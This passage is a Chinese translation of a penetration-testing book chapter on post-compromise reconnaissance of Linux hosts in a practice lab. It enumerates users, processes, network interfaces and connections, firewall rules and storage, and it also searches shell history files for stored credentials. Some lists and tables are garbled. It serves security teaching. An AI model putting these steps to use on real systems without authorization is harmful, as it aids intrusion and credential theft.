第一个字段是账户的用户名,第二个字段中的 x 表示密码。你可以在名为 /etc/shadow 的单独文件中找到相应的密码哈希,我们将在后面的章节中讨论凭证访问时提及该文件。第三和第四个字段分别表示用户的用户 ID(UID)和组 ID(GID)。第五个字段是注释字段,可以包含有关用户的详细信息(例如全名、位置和员工 ID)。第六个字段表示用户的主目录(在本例中为 /root),第七个字段表示其默认的 shell 环境(在本例中为 /bin/bash)。
使用 bash,我们可以解析 /etc/passwd 的输出,提取特定的字段。例如,要提取每个用户的用户名(第一个字段)、主目录(第六个字段)和默认 shell(第七个字段),请运行清单 8-2 中的命令。
$ **awk -F':' '{print $1, $6, $7}' /etc/passwd | sed 's/ /,/g'**
root,/root,/bin/bash
daemon,/usr/sbin,/usr/sbin/nologin
bin,/bin,/usr/sbin/nologin
sys,/dev,/usr/sbin/nologin
sync,/bin,/bin/sync
`--snip--`
清单 8-2:从 /etc/passwd 中提取关键信息
由于字段是由冒号分隔的,我们可以轻松使用 awk 和 sed 来提取感兴趣的字段。
本地组
接下来,运行清单 8-3 中的命令,查看本地组列表。
$ **cat /etc/group**
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
**adm:x:4:ubuntu**
tty:x:5:
disk:x:6:
lp:x:7:
`--snip--`
清单 8-3:查看系统上的组
/etc/group 文件的格式如下:第一个字段是表示组名的唯一值,第二个字段表示密码,第三个字段是 GID,最后一个字段是每个组成员的列表,成员之间由逗号分隔。正如你在输出的加粗部分所看到的,ubuntu 用户账户是 adm 组的一部分,adm 组用于系统管理任务,如查看日志。
主文件夹访问
默认情况下,只有用户或超级用户(如 root 用户)可以访问该用户的主目录。在清单 8-4 中运行命令,列出所有用户的主目录及其权限。
$ **ls -l /home/**
total 20
drwxr-x--- 2 arodriguez arodriguez 4096 May 19 02:28 arodriguez
drwxr-x--- 2 dbrown dbrown 4096 May 19 02:28 dbrown
drwxr-x--- 2 jmartinez jmartinez 4096 May 19 02:28 jmartinez
drwxr-x--- 2 ogarcia ogarcia 4096 May 19 02:28 ogarcia
drwxr-x--- 2 ubuntu ubuntu 4096 Apr 20 13:44 ubuntu
列表 8-4:查看 home 目录和权限
正如你所看到的,每个 home 目录都归其所属的用户所有。我们将在第九章中更详细地讨论目录权限。
让我们写一个小的 bash 脚本来检查是否能够访问用户的 home 目录。这是非常有用的,因为权限可能会因错误而被搞乱,例如在权限被递归修改时,或者在涉及大量用户账户的大型系统中。
注意
本章节的脚本可以在 github.com/dolevf/Black-Hat-Bash/blob/master/ch08 获取。
列表 8-5 中的脚本将执行以下步骤:检查运行用户是否可以读取 /etc/passwd,如果可以,则读取其内容;提取每个用户账户的默认 home 目录路径;检查当前用户是否可以读取每个 home 目录;并打印结果。
home_dir _access_check.sh
#!/bin/bash
if [[! -r "/etc/passwd"]]; then
echo "/etc/passwd must exist and be readable to be able to continue."
exit 1
fi
❶ while read -r line; do
❷ account=$(echo "${line}" | awk -F':' '{print $1}')
❸ home_dir=$(echo "${line}" | awk -F':' '{print $6}')
# Target only home directories under /home.
❹ if echo "${home_dir}" | grep -q "^/home"; then
❺ if [[-r "${home_dir}"]]; then
echo "Home directory ${home_dir} of ${account} is accessible!"
else
echo "Home directory ${home_dir} of ${account} is NOT accessible!"
fi
fi
done < <(cat "/etc/passwd")
列表 8-5:尝试访问用户的 home 目录
在 while 循环中,我们逐行读取 /etc/passwd 文件 ❶。在 ❷ 和 ❸ 处,我们分别将账户和 home_dir 变量赋值为每行的第一个和第六个字段。接着,我们使用插入符号 (^) 字符和 grep -q(安静模式)选项检查 home 目录是否以 /home 开头,确保命令的输出不会打印到标准输出流中。在 ❺ 处,如果我们之前的检查成功,我们会检查 home 目录是否可读,并将结果打印到屏幕上。
有效的 Shell
我们提到过 /etc/passwd 的第七个字段是用户的默认 shell。然而,系统管理员可以为用户分配一个无效的 shell 作为安全加固措施。对于黑客来说,具有真实 shell(例如 /bin/bash)的账户应该表明两种可能性之一:账户属于一个需要登录的真实用户或服务,或者账户存在配置错误。
当系统管理员使用 useradd 或 adduser 命令向 Linux 机器添加账户时,默认的 shell 由 /etc/default/useradd 文件中的 SHELL 设置或 /etc/adduser.conf 中的 DSHELL 设置决定,正如你在这里看到的:
$ **grep -e "#DSHELL" /etc/adduser.conf**
#DSHELL=/bin/bash
$ **grep -e "SHELL=" /etc/default/useradd**
SHELL=/bin/sh
通过一些高级 bash 和 awk,我们可以筛选出包含有效 shell(例如 /bin/bash 或 /bin/sh)的行,然后将后续工作集中在这些账户上(列表 8-6)。
$ **awk -F':' '{if ($7=="/bin/sh" || $7=="/bin/bash") {print $1,$7}}' /etc/passwd**
root /bin/bash
ubuntu /bin/bash
jmartinez /bin/bash
dbrown /bin/bash
ogarcia /bin/bash
arodriguez /bin/bash
列表 8-6:使用高级 awk 语法查找具有活动 shell 的账户
我们故意让这个命令比必要的稍微复杂一些,以便让你看到 awk 在解析方面的强大功能。在列表 8-6 中,awk 使用内建的 if 条件和 OR 操作符 (||) 来检查文件的第七个字段是否等于 /bin/sh 或 /bin/bash。如果表达式为真,它会打印第一个和第七个字段。
就像在 bash 中做任何事一样,你也可以通过一个更简单的命令来实现相同的目标(列表 8-7)。
$ **grep -e "/bin/bash" -e "/bin/sh" /etc/passwd**
列表 8-7:使用 grep 查找具有活动 shell 的账户
然而,这个更简单的 grep 命令更容易出错,因为它会打印包含这两个字符串的任何字段(而不仅仅是第七个字段,其中定义了默认的 shell)。
进程
枚举运行中的进程是成功侦察的重要步骤。进程帮助我们识别系统正在运行的所有代码,从而使我们能够集中精力针对特定应用程序。进程还很重要,因为它们帮助我们了解主机的防御系统。
查看进程文件
每个 Linux 主机上的进程都有一个专门的目录,在 /proc 下,目录名称与其进程标识符(PID)相同,PID 是一个数值。让我们运行一个简单的 ls 命令(使用 -1 选项每行列出一个文件),然后使用带有特殊正则表达式的 grep 来列出该目录中所有名称为数字的文件(列表 8-8)。
$ **ls -1 /proc/ | grep -E '^[0-9]+$'**
1
33
34
7
列表 8-8:在 /proc 目录中筛选 PID
因为新进程经常会生成并随之终止,所以你可能会看到与此输出中的 PID 不同的 PID 数字(除了 1,通常称为 init 进程,它应该始终存在)。让我们探索 init 进程的文件夹中可用的信息:
$ **ls -1 /proc/1/**
arch_status
attr
autogroup
auxv
cgroup
clear_refs
cmdline
comm
coredump_filter
cpu_resctrl_groups
cpuset
cwd
environ
exe
fd
`--snip--`
该文件夹包含许多文件,其中一些对渗透测试人员更为有趣。例如,以下文件包含有用的信息:
/proc/
/proc/
/proc/
/proc/
/proc/
/proc/
/proc/
让我们探索这些文件,看看它们能告诉我们关于系统上 PID 1 的信息。在 p-web-01(172.16.10.10)上,运行以下命令:
$ **cat /proc/1/cmdline**
python3-mflaskrun--host=0.0.0.0--port=8081
如你所见,启动此进程的是一个 python3 命令。由于其元素由空字节分隔,输出有些难以阅读。我们可以使用以下命令将空字节替换为空格,使其更易读:
$ **cat /proc/1/cmdline | tr '\000' ' '**
python3 -m flask run --host=0.0.0.0 --port=8081
接下来,查看符号链接 /proc/1/cwd,通过运行以下 ls 命令来确定进程 1 的工作目录:
$ **ls -ld /proc/1/cwd**
lrwxrwxrwx 1 root 0 May 4 01:26 /proc/1/cwd -> /app
输出中的第一个字符是 l,表示符号链接。你还可以看到从/proc/1/cwd到/app有一个箭头(->),表明cwd符号链接指向/app目录。
我们鼓励你发现/proc目录下的任何其他文件及其用途。你可以在 proc 手册页中找到对这些文件的详细解释(通过运行 man proc)。
运行 ps
类似 ps 这样的工具使我们能够探索进程,而无需手动浏览/proc目录。运行以下命令以查看进程列表:
$ **ps aux**
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.7 36884 30204 ? Ss 01:12 0:00 python3 -m flask run --host=0.0.0...
root 7 0.0 0.0 4508 3900 pts/0 Ss 01:12 0:00 /bin/bash
root 92 0.0 0.0 8204 3888 pts/0 R+ 02:05 0:00 ps aux
输出是轻量级的,因为实验室运行在容器上,而容器旨在尽可能使用最少的资源。在运行非容器化服务器的生产系统上,你可能会看到更多的进程。你可以在你的 Kali 主机上运行相同的命令,查看输出的差异。
ps 命令使用/proc虚拟文件系统以更易于理解的方式显示进程信息。让我们利用它的一些内置过滤功能,从输出中提取关键信息,如运行用户、PID 和执行的命令:
$ **ps x -o user -o pid -o cmd**
USER PID CMD
root 1 python3 -m flask run --host=0.0.0.0 --port=8081
root 7 /bin/bash
root 137 ps x -o user -o pid -o cmd
对我们目前已攻破的所有机器运行相同的命令,并记录你的结果。
检查 Root 进程
进程的所有权也是一个需要考虑的重要因素。以 root 身份运行的进程如果编写不安全,可能会导致权限提升漏洞。例如,当我们攻破p-web-01网站服务器(172.16.10.10)时,由于root用户初始化并启动了应用程序,我们进入了 shell 并以root用户身份登录。
以超级用户身份运行应用程序通常被认为是不好的做法,但这使得我们作为渗透测试者的工作变得更加轻松。如果应用程序是以自定义应用用户启动的,我们就得寻找权限提升的机会。正如你可能记得的那样,当我们攻破p-web-02(172.16.10.12)机器时,我们作为www-data用户登录,而不是 root 用户。
作为另一个使用root用户运行应用程序时不推荐的例子,假设有一个 bash 脚本每 10 分钟由 root 用户以后台任务的方式执行一个名为/tmp/update.sh的文件,并且假设该文件也可以被其他系统用户写入。在这个例子中,某人可以在文件中写入一条指令,授予自己额外的权限,由于该进程是以 root 身份运行的,执行update.sh文件时也会以root用户的身份执行。
操作系统
Linux 操作系统有如此多的变种,以至于像distrowatch.com这样的网站专门用于跟踪它们。你如何确定你刚刚攻破的主机上运行的到底是哪种操作系统?
操作系统可能会将其相关信息存放在不同的位置,但大多数情况下,你会在/etc目录下找到。检查以下位置:/etc/os-release、/etc/issue、/usr/lib/os-release、/proc/version、/etc/-release和/etc/-version。例如,在基于 Ubuntu 的p-web-01机器(172.16.10.10)上,你应该能在/etc/os-release中找到操作系统的信息。
除了文件,一些工具也能帮助你识别操作系统。试试运行uname -o或uname -a、lsb_release、hostnamectl和hostname。尽管像hostname和hostnamectl这样的命令并不是为了显示操作系统信息而设计的,但如果系统管理员将机器的主机名设置为包含操作类型(如ubuntu-prod-01),它们也可能揭示操作系统信息。同样,内置的环境变量$HOSTNAME 也保存着主机名的值。
练习 12:编写一个 Linux 操作系统检测脚本
尝试编写一个脚本,能够识别任何基于 Linux 的操作系统的操作系统类型(例如 Ubuntu、Debian 或其他)。为此,脚本应查找感兴趣的特定文件并从中提取信息。此外,因为任何人都应该能够在任何 Linux 系统上运行该脚本并期望它能够优雅地失败,你需要考虑如何处理错误。
以下是脚本应采取的步骤:
1. 脚本应使用一个或多个可用的方法,通过命令或文件收集我们之前强调的与操作系统相关的信息。你也可以进行自己的研究,以实现其他本地操作系统发现方法。
2. 如果你没有找到操作系统检测方法,脚本需要处理这种情况,并向用户指示。
3. 脚本应在运行结果正确的状态码下退出。
本书 GitHub 仓库中的脚本os_detect.sh是一个操作系统检测脚本的示例。
登录会话和用户活动
当用户登录系统或打开一个新的终端会话时,系统会记录下这些信息。无论用户是本地登录(例如在笔记本电脑上)还是通过如 SSH 或 Telnet 等协议远程登录,都会发生这种情况。
这些信息非常有价值,因为它可以告诉你有关以前连接的情况,包括用于连接的源 IP 地址。例如,如果系统管理员使用专用的管理服务器连接到其他服务器,收集登录会话将揭示管理服务器的 IP 地址。
收集用户会话
要查看系统上的当前用户,可以使用w或who命令:
$ **w**
$ **who**
这些命令显示的信息包括用户的用户名、登录时间以及当前进程的命令。命令从/var/run/utmp文件中读取这些信息。
last 命令显示来自 /var/log/wtmp 文件的历史登录记录,该文件包含当前和过去的用户会话:
$ **last**
在通过 SSH 使用备份用户登录后,尝试在 p-jumpbox-01 机器(172.16.10.13)上运行这些命令。
另一个有用的命令是 lastb(last bad)。该命令显示一个失败登录尝试的列表,数据来源于 /var/log/btmp 文件(如果该文件存在于文件系统中)。
像 /var/run/utmp 和 /var/log/wtmp 这样的文件是二进制文件。如果您尝试使用 cat 命令读取它们,输出将会是乱码。某些系统可能提供 utmpdump 命令,它可以将这些文件作为参数,并以正确的格式将内容输出到屏幕上。
调查已执行的命令
当用户开始在 shell 中执行命令时,系统会捕获这些信息并将其写入 历史文件,这些通常是隐藏文件(以点开头的文件),存储在用户的主目录中。例如,root 用户的历史文件位于 /root/.bash_history。对于普通用户,历史文件通常保存在 /home/
历史文件很有趣,因为它们本质上是用户在命令行上的操作摘要。如果某人使用凭证运行 curl 命令来认证远程网站,命令及其凭证将被记录在历史文件中。要查看当前用户的历史文件,可以运行以下命令:
$ **history**
使用 bash 一行命令和 find 可以帮助我们搜索带有 _history 后缀的隐藏文件(列表 8-9)。
$ **find / -name ".*_history" -type f**
列表 8-9:搜索 shell 命令历史文件
该命令从根目录(/)开始搜索,并对文件进行区分大小写的搜索(-type f),查找文件名以字符串 _history 结尾的文件。
网络
网络信息是收集系统数据中最重要的部分之一。在渗透测试中,您可能只知道一个网络(例如,如果您在现场参与测试时,您可能只知道您物理连接的网络),但这并不意味着这是唯一可用的网络。如果您恰好入侵了一个 multi-homed 主机,即一台具有多个网络接口并连接到不同网络的机器,您可能会发现新网络。
网络接口和路由
在被入侵的主机上,一种获取所有网络接口的简单方法是查看 /sys/class/net 目录下的文件。继续尝试在被入侵的机器上列出文件。以下示例来自 p-web-01 主机(172.16.10.10):
$ **ls -l /sys/class/net/**
total 0
lrwxrwxrwx 1 root root 0 May 10 03:13 eth0 -> ../../devices/virtual/net/eth0
lrwxrwxrwx 1 root root 0 May 10 03:13 lo -> ../../devices/virtual/net/lo
每个文件都是一个符号链接,包含一个网络接口的名称,每个链接指向 /sys/devices/virtual/net/ 目录下的一个子目录:
$ **ls -l /sys/devices/virtual/net/**
total 0
drwxr-xr-x 5 root root 0 May 10 03:13 eth0
drwxr-xr-x 5 root root 0 May 10 03:13 lo
你还可以使用网络接口分析来判断一个网络设备是物理的还是虚拟的。值得注意的是,管理员可以更改网络接口的名称,因此这些并不是可靠的指标。不过,物理网络设备在你列出 /sys/devices/virtual/net 下的文件时应该会有不同的表现。你可以在 Kali 机器上运行之前的命令,应该会看到类似以下的输出:
lrwxrwxrwx 1 root root 0 Sep 25 16:15 br_corporate -> ../../devices/virtual/net/br_corporate
lrwxrwxrwx 1 root root 0 Sep 25 16:15 br_public -> ../../devices/virtual/net/br_public
lrwxrwxrwx 1 root root 0 Sep 19 21:41 docker0 -> ../../devices/virtual/net/docker0
lrwxrwxrwx 1 root root 0 Sep 19 21:41 eth0 -> ../../devices/**pci0000:00/0000:00:03.0**/net/eth0
lrwxrwxrwx 1 root root 0 Sep 19 21:41 lo -> ../../devices/virtual/net/lo
如你所见,除了 eth0 之外,所有设备都是虚拟的,eth0 有一个外设组件互联总线标识符 pci0000:00/0000:00:03.0。在你的机器上,根据你使用的网卡,这可能会有所不同。
注意
要确定目标是物理服务器还是虚拟服务器,需要使用多种启发式方法。网络收集可能会产生假阳性。
另一种不使用特殊网络工具打印所有网络接口的方法是检查 /proc/net/route 文件,该文件包含有关网络路由的信息。在强化的主机或轻量级 Linux 容器中手动检查此文件非常有用,因为你可能无法访问常见的网络工具,如 ifconfig、ip、netstat 或 ss(套接字统计):
$ **cat /proc/net/route**
Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT
eth0 00000000 010A10AC 0003 0 0 0 00000000 0 0 0
eth0 000A10AC 00000000 0001 0 0 0 00FFFFFF 0 0 0
文件的第一行是列标题行,每一行之后的内容对应一个网络路由、其网络接口以及以十六进制格式表示的其他路由相关信息。例如,在第一行中,Gateway 下的值 010A10AC 表示网络接口的网关 IP 地址。如果你将每个字节转换为十进制值,你应该得到如下结果:
011
0A10
1016
AC172
这是 172.16.10.1,eth0 接口的网关 IP 地址,以小端格式表示。你可以使用 ascii.cl/conversion.htm 来将值从十六进制转换为十进制,或者使用 bash 进行转换:
$ **echo $((16#AC))**
172
使用算术运算符 $(()) 和字符序列 16#,表示十六进制(或 base16),你可以将任何十六进制值转换为十进制数。
/proc/net/route 文件没有给我们主机上网络接口的 IP 地址。然而,我们可以通过查看 /proc/net/fib_trie 文件来获取这些信息。这个文件包含类似这样的数据:
Main:
+-- 0.0.0.0/0 3 0 5
`--snip--`
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.16.10.0/24 2 0 2
+-- 172.16.10.0/28 2 0 2
|-- 172.16.10.0
/24 link UNICAST
|-- 172.16.10.10
`--snip--`
Local:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
`--snip--`
要解析此输出并仅获取网络接口的 IP 地址,我们可以使用 列表 8-10 中的 bash 脚本。
$ **awk '/32 host/ {print f} {f=$2}' /proc/net/fib_trie | sort | uniq**
127.0.0.1
172.16.10.10
列表 8-10:提取网络接口的 IP 地址
那么,MAC 地址,网络接口的物理地址呢?我们也可以通过 /sys 虚拟文件系统获取这些信息:
$ **cat /sys/class/net/eth0/address**
02:42:ac:10:0a:0a
在非强化主机上,你可能可以访问如 ifconfig 这样的网络工具,这是一个在 Linux 主机上非常流行的命令。这个命令可以让你以更易于理解的方式查看所有必要的网络信息:
$ **ifconfig**
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.10.10 netmask 255.255.255.0 broadcast 172.16.10.255
ether 02:42:ac:10:0a:0a txqueuelen 0 (Ethernet)
RX packets 97 bytes 211107 (211.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 83 bytes 5641 (5.6 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
你应该会收到每个接口的信息,如 MAC 地址、子网掩码和广播地址,以及一些网络统计数据,如发送和接收数据包的字节数。默认情况下,ifconfig 只会显示处于“up”状态的网络接口;使用 -a 标志可以显示所有接口。
ifconfig 的替代命令是 ip,它显示相同类型的信息,包括路由详情。运行 ip addr 显示所有网络接口,运行 ip route 显示所有网络路由。
尝试在其余的机器(p-web-02 和 p-jumpbox-01)上运行这些命令;你应该会注意到其中一台机器连接到了另一个内部网络,地址为 10.1.0.0/24。这意味着其中一台受损主机拥有进入另一个网络的网络接口!
连接和邻居
网络是非常活跃的;数据包不断进出系统。提供服务的主机很少闲置,你可以通过收集连接信息,主动了解它们的环境,而无需发送网络数据包。
尝试直接通过使用 /proc 虚拟文件系统从 /proc/net/tcp 文件收集这些信息:
$ **cat /proc/net/tcp**
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0B00007F:A0F1 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 4...
1: 00000000:1F91 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 4...
该文件的输出是一个 TCP 套接字表,每一行代表两个地址之间的连接:本地地址(local_address)和远程地址(rem_address)。数据是十六进制的,因此我们必须再次将其转换为十进制,以便理解每个连接背后的 IP 地址和端口:
$ **awk '{print $2,$3}' /proc/net/tcp | tail -n +2**
0B00007F:A0F1 00000000:0000
00000000:1F91 00000000:0000
我们使用 awk 只打印第二列和第三列,然后将其通过管道传递给 tail -n +2 命令,以去除输出中的表头。随着更多连接在受损主机与其他客户端和服务器之间建立,这个表格将会增长。
你也可以使用 Netstat 来打印网络连接。Netstat 美化了每个连接的输出,并帮助突出显示当前哪些连接是活动的,哪些已经超时,以及它们与哪个 PID 和程序名称相关联。在 p-web-01(172.16.10.10)上运行以下命令:
$ **netstat -atnup**
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.11:41201 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8081 0.0.0.0:* LISTEN 1/python3
udp 0 0 127.0.0.11:45965 0.0.0.0:* -
让我们关注对我们最有价值的列。第一列表示协议(例如,TCP 或 UDP),第四列是本地地址和端口,第五列是 外部地址(连接的远程地址),第六列是程序名称和 PID。请注意,当 Netstat 以非 root 用户身份执行时,PID 列可能没有填充 PID 和程序名称等信息。
当我们执行 Netstat 命令时,没有连接到 web 应用程序。让我们模拟一个传入连接,看看套接字表如何变化。在你的 Kali 主机上,运行以下 Netcat 命令:
$ **nc -v 172.16.10.10 8081**
接下来,在受损的 p-web-01 主机(172.16.10.10)上运行我们之前展示的 Netstat 命令:
$ **netstat -atnup**
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 172.16.10.10:8081 **172.16.10.1:56520** ESTABLISHED 1/python3
如你所见,连接表中添加了一行,表示客户端通过 8081 端口连接时的远程 IP 地址。这个远程地址属于你运行 Netcat 的主机(在此案例中是 Kali)。
防火墙规则
主机的 防火墙规则 也是网络信息的来源。防火墙表可能包含一些规则,阻止某些网络或单个 IP 地址与主机通信。这些信息可以帮助我们了解其他邻近的网络、服务器或客户端。
在 Linux 服务器上常见的主机防火墙是 iptables。让我们运行以下 iptables 命令来查看 p-web-01(172.16.10.10)上的配置规则:
$ **iptables -L --line-numbers -v**
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num pkts bytes target prot opt in out source destination
**1 0 0 DROP all -- any any 10.1.0.0/24 anywhere /* Block Network */**
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
num pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
num pkts bytes target prot opt in out source destination
如你所见,一条规则阻止了网络 10.1.0.0/24 连接到 p-web-01 主机;这再次表明 10.1.0.0/24 网络是存在的。请注意,使用 iptables 命令查看规则表通常需要提升权限。
网络接口配置文件
网络接口可能有专门的配置文件,例如,为特定接口静态配置网络 IP 地址,或确保网络卡默认在启动时启用。Linux 发行版可以将其网络配置放在不同的位置,但通常你会在以下位置找到它们:/etc/network/interfaces,/etc/network/interfaces.d/,/etc/netplan/,/lib/netplan/,/run/netplan/,以及 /etc/sysconfig/network-scripts/。
如果是静态配置,网络接口可以揭示正在使用的 DNS 服务器。网络接口还可以提供诸如 IP 方案、网关地址等信息。以下是后续版本的基于 Ubuntu 的 Linux 系统中的静态网络配置文件:
network:
version: 2
renderer: networkd
ethernets:
eth0:
dhcp4: no
addresses: [172.16.10.0/24]
gateway4: 172.16.10.1
nameservers:
addresses: [8.8.8.8,8.8.4.4]
该文件配置了 eth0 网络接口,默认网关为 172.16.10.1,并且配置了 Google DNS 服务器 8.8.8.8 和 8.8.4.4。
域名解析器
主机通常被配置为使用 DNS 将域名(如 example.com)转换为 IP 地址。DNS 服务器可以托管在本地网络中,也可以托管在其他地方,如公共云实例中。无论它们运行在哪里,都可能存在安全漏洞。
你可以在 Linux 操作系统的多个位置找到 DNS 服务器的配置,包括在 /etc/resolv.conf 文件中,使用 nameserver 条目,格式如下:
$ **cat /etc/resolv.conf**
nameserver 127.0.0.11
DNS 服务器还可以在 /etc/hosts 配置文件中进行配置,如此处为 p-web-01(172.16.10.10)所示。这个 /etc/hosts 文件可能包括一个你可以目标的其他网络和主机列表:
$ **cat /etc/hosts**
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.16.10.10 p-web-01.acme-hyper-branding.com p-web-01
DNS 服务器也可以在单独的网络接口文件中进行配置,如前一部分所讨论的。
DNS 服务器还可以通过使用 动态主机配置协议(DHCP)服务器进行自动配置,DHCP 是一个负责动态分配网络配置的网络服务,在这种情况下,DNS 服务器不会在任何配置文件中明确设置。
软件安装
维护不当的操作系统映像通常会受到各种漏洞的影响,特别是如果它们默认安装了许多软件包。我们应该调查与操作系统捆绑的软件,因为它可以引导我们发现有趣的漏洞,帮助我们提升权限或获取未经授权的信息。
调查已安装软件的一种方法是使用包管理器。您将在 Linux 操作系统上找到几种常用的包管理器:在 Debian 和 Ubuntu 等系统上是高级软件包工具(APT),在 Red Hat、CentOS 和 Fedora 等系统上是 Yellowdog Updater Modified,以及在基于容器的操作系统(如 Alpine Linux)上是 Alpine Package Keeper。
尝试在任何受损主机上运行以下 apt 命令以列出已安装的软件包:
$ **apt list --installed**
Listing... Done
adduser/lunar,now 3.129ubuntu1 all [installed,automatic]
apt/lunar,now 2.6.0 amd64 [installed]
base-files/lunar,now 12.3ubuntu2 amd64 [installed]
base-passwd/lunar,now 3.6.1 amd64 [installed]
`--snip--`
您可以通过使用 dpkg 获得稍微更好的输出。请注意,此命令主要在基于 Ubuntu 或 Debian 的 Linux 系统中找到:
$ **dpkg -l**
`--snip--`
ii adduser 3.129ubuntu1 all add and remove users and groups
ii apt 2.6.0 amd64 commandline package manager
ii base-files 12.3ubuntu2 amd64 Debian base system miscellaneous files
`--snip--`
要使用其他软件管理器获取软件包列表,您可以尝试以下任何一条命令:
yum list installed
apk list --installed
rpm -qa
我们可以使用 bash 解析这些软件包列表并获取软件的名称和版本,还可以进行一些聪明的搜索。要仅列出软件包名称,请运行此命令:
$ **apt list --installed | awk -F'/' '{print $1}'**
使用以下内容仅列出软件包版本:
$ **apt list --installed | awk '{print $2}'**
如果我们想搜索特定软件包并通过精确匹配搜索打印其版本,该怎么办?我们可以使用 awk 来实现:
$ **apt list --installed | awk -F'[/]' '$1 == "openssl" {print $3}'**
我们使用一个 awk 分隔符(-F),由斜杠和空格组成,并用方括号[/]括起来定义多个分隔符。然后检查第一个字段是否等于 openssl;如果是,则打印第三个字段,即版本字段。
我们甚至可以使用 awk 部分匹配软件包名称:
$ **apt list --installed | awk -F'[/]' '$1 ~ /openssl/ {print $3}'**
要查看安装的软件包总数,请运行 apt list 并将其管道传输到 wc(word count)命令:
$ **apt list --installed | wc -l**
341
您可以使用这些软件包名称和版本作为查找漏洞数据来源的网站上的查询,例如国家漏洞数据库(nvd.nist.gov)或 MITRE 公共漏洞和暴露(CVE)数据库(cve.mitre.org)。
请注意,包管理器可能不会列出服务器上安装的所有软件。例如,服务器可能直接从源安装 Java,而不使用包管理工具,在这种情况下,它不会显示在软件包列表中。
存储
从安全角度看,服务器存储有几个有趣的原因。多个服务器可以共享同一存储系统或使用它与最终用户共享文件。如果您可以写入存储系统,则可能能够在相邻服务器上实现代码执行,如果它们从受损的存储系统中获取文件(例如 shell 脚本)。
服务器存储可以是虚拟的或物理的,服务器可以运行在单个本地磁盘或多个本地磁盘上。服务器还可以使用多个磁盘来形成冗余阵列的廉价磁盘系统,这可以提高冗余性和性能,并且能够备份关键数据。
Linux 系统可以将远程存储系统挂载为本地目录(通常在 /mnt 目录下)。这些可以作为操作系统的重要组成部分。你将看到远程存储通过网络附加存储或存储区域网络设备和协议(如网络文件系统或公共互联网文件系统)实现。
远程存储非常有用,因为系统可以将其用于多种目的:作为数据备份位置、集中式安全日志存储、远程文件共享,甚至存储远程用户的主文件夹。应用程序日志通常写入到远程存储设备的 /mnt/log_storage/ 文件夹中,该文件夹可能物理连接到完全不同的服务器。
让我们探索如何在受损主机上识别磁盘、分区和挂载点。
块设备
首先,让我们使用命令 lsblk 来查看存在哪些块设备。块设备 是数据存储设备,如光盘、软盘和硬盘。以下输出来自 p-web-01(172.16.10.10):
$ **lsblk**
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
sr0 11:0 1 1024M 0 rom
vda 254:0 0 40G 0 disk
|-vda1 254:1 0 39G 0 part /etc/hosts
| /etc/hostname
| /etc/resolv.conf
| /mnt/scripts
|-vda2 254:2 0 1K 0 part
`-vda5 254:5 0 975M 0 part [SWAP]
如你所见,我们有两个主要设备:sr0 和 vda。sr0 设备是 ROM 类型,vda 设备是磁盘类型。你在列表中看到的其他名称,如 vda1、vda2 和 vda5,都是 vda 磁盘的分区。对你可以访问的其余受损机器运行相同的命令,并记录下结果。
另一种查看分区列表的方法是读取 /proc/partitions:
$ **cat /proc/partitions**
major minor #blocks name
254 0 41943040 vda
254 1 40941568 vda1
254 2 1 vda2
254 5 998400 vda5
`--snip--`
/proc 文件系统还暴露了一个名为 /proc/mounts 的文件,它提供了所有挂载点的列表、挂载选项以及挂载点的其他属性:
$ **cat /proc/mounts**
`--snip--`
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k,inode64 0 0
/dev/vda1 /mnt/scripts ext4 rw,relatime,errors=remount-ro 0 0
/dev/vda1 /etc/resolv.conf ext4 rw,relatime,errors=remount-ro 0 0
/dev/vda1 /etc/hostname ext4 rw,relatime,errors=remount-ro 0 0
/dev/vda1 /etc/hosts ext4 rw,relatime,errors=remount-ro 0 0
或者,你也可以直接调用 mount 命令来获取这些信息:
$ **mount**
`--snip--`
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
/dev/vda1 on /mnt/scripts type ext4 (rw,relatime,errors=remount-ro)
`--snip--`
获取各种挂载文件系统视图的快速方法是使用 df 命令,该命令还会显示每个文件系统的可用和总磁盘大小:
$ **df -h -T**
Filesystem Type Size Used Avail Use% Mounted on
overlay overlay 39G 20G 18G 53% /
tmpfs tmpfs 64M 0 64M 0% /dev
shm tmpfs 64M 0 64M 0% /dev/shm
/dev/vda1 ext4 39G 20G 18G 53% /mnt/scripts
-h 和 -T 标志将分别输出人类可读的版本和文件系统类型。
你可能已经注意到 p-web-01(172.16.10.10)上的挂载点 /mnt/scripts。请记下这一点,因为它将在后续章节中派上用场。
文件系统标签文件
/etc/fstab 文件是一个静态配置文件,控制设备和分区的挂载。如果在没有必要的安全措施的情况下挂载设备和分区,可能会导致文件系统级的漏洞。
